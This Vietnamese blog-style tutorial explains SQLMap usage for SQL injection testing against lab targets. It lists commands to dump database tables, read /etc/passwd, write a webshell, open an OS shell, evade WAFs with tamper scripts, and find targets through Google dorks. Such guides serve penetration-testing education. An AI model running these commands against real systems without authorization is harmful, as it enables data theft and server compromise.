Hướng dẫn sử dụng SQLMap trong kiểm thử SQL Injection

Giới thiệu công cụ SQLMap

SQLMap là công cụ mã nguồn mở hỗ trợ tự động hóa việc phát hiện và khai thác lỗ hổng SQL Injection. Công cụ này tương thích với nhiều hệ quản trị cơ sở dữ liệu phổ biến như: MySQL, PostgreSQL, Oracle, SQL Server, SQLite, DB2, Firebird, Sybase và SAP MaxDB.

SQLMap áp dụng 5 kỹ thuật tấn công chính:

  • B: SQL injection dạng blind dựa trên giá trị Boolean
  • E: Khai thác lỗi trả về từ cơ sở dữ liệu (Error-based)
  • U: Sử dụng câu truy vấn UNION để lấy dữ liệu
  • S: Thực thi nhiều câu lệnh SQL cùng lúc (Stacked queries)
  • T: SQL injection dựa trên thời gian phản hồi (Time-based)

Phát hiện lỗ hổng cơ bản

Kiểm tra điểm đầu vào có tồn tại SQLi hay không:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1"

Thu thập thông tin hệ thống

Lấy danh sách cơ sở dữ liệu:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --dbs

Xác định cơ sở dữ liệu đang dùng:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --current-db

Truy vấn người dùng hiện tại:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --current-user

Kiểm tra đặc quyền quản trị viên:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --is-dba

Trích xuất cấu trúc CSDL

Liệt kê bảng trong cơ sở dữ liệu chỉ định:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" -D security --tables

Hiển thị các cột trong bảng users:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" -D security -T users --columns

Truy xuất dữ liệu

Xuất toàn bộ nội dung bảng:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" -D security -T users --dump

Xuất tất cả dữ liệu từ toàn bộ cơ sở dữ liệu:

sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --dump-all

Kỹ thuật tấn công đa dạng

Dữ liệu POST:

sqlmap -u "http://192.168.10.1/sqli/Less-11/" --data="uname=admin&passwd=admin&submit=Submit"

Sử dụng file request HTTP (post.txt):

sqlmap -r post.txt

Cookie Injection (cần level >= 2):

sqlmap -u "http://192.168.137.133/sql/Less-20/" --cookie="uname=*" --level=2 --dbs

Cấu hình mức độ quét

Level xác định phạm vi kiểm tra:

  • Level 1: Chỉ kiểm tra tham số GET/POST
  • Level 2: Thêm Cookie
  • Level 3: Bao gồm User-Agent và Referer
  • Level 4-5: Mở rộng payload và kiểm tra sâu hơn

Risk điều chỉnh mức độ nguy hiểm của payload:

  • Risk 1: An toàn
  • Risk 2: Payload có thể ảnh hưởng dữ liệu
  • Risk 3: Payload cao cấp như UPDATE, tránh dùng trên môi trường thật

Thao tác với hệ thống

Đọc file hệ thống:

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "/etc/passwd"

Ghi file (ví dụ: webshell):

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write shell.php --file-dest "C:/inetpub/wwwroot/shell.php"

Mở shell hệ điều hành:

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell

Vượt tường lửa (WAF)

Kiểm tra sự hiện diện của WAF:

sqlmap -u "http://target.com" --check-waf

Sử dụng script xử lý payload:

sqlmap -u "http://target.com" --tamper=space2comment,randomcase --random-agent

Kết nối trực tiếp CSDL

Kết nối qua chuỗi kết nối:

sqlmap -d "mysql://root:password@127.0.0.1:3306/security"

Chức năng nâng cao

Quét hàng loạt URL:

sqlmap -m list_urls.txt

Tìm kiếm bằng Google:

sqlmap -g "inurl:.php?id="

Truy cập registry Windows (nếu có đặc quyền):

sqlmap -u "URL" --reg-read

Thao tác tương tác

Mở shell SQL trực tiếp:

sqlmap -u "URL" --sql-shell

Sử dụng chế độ wizard:

sqlmap --wizard

Thẻ: sqlmap SQL Injection penetration testing cybersecurity Web Security

Đăng vào ngày 10 tháng 8 lúc 07:07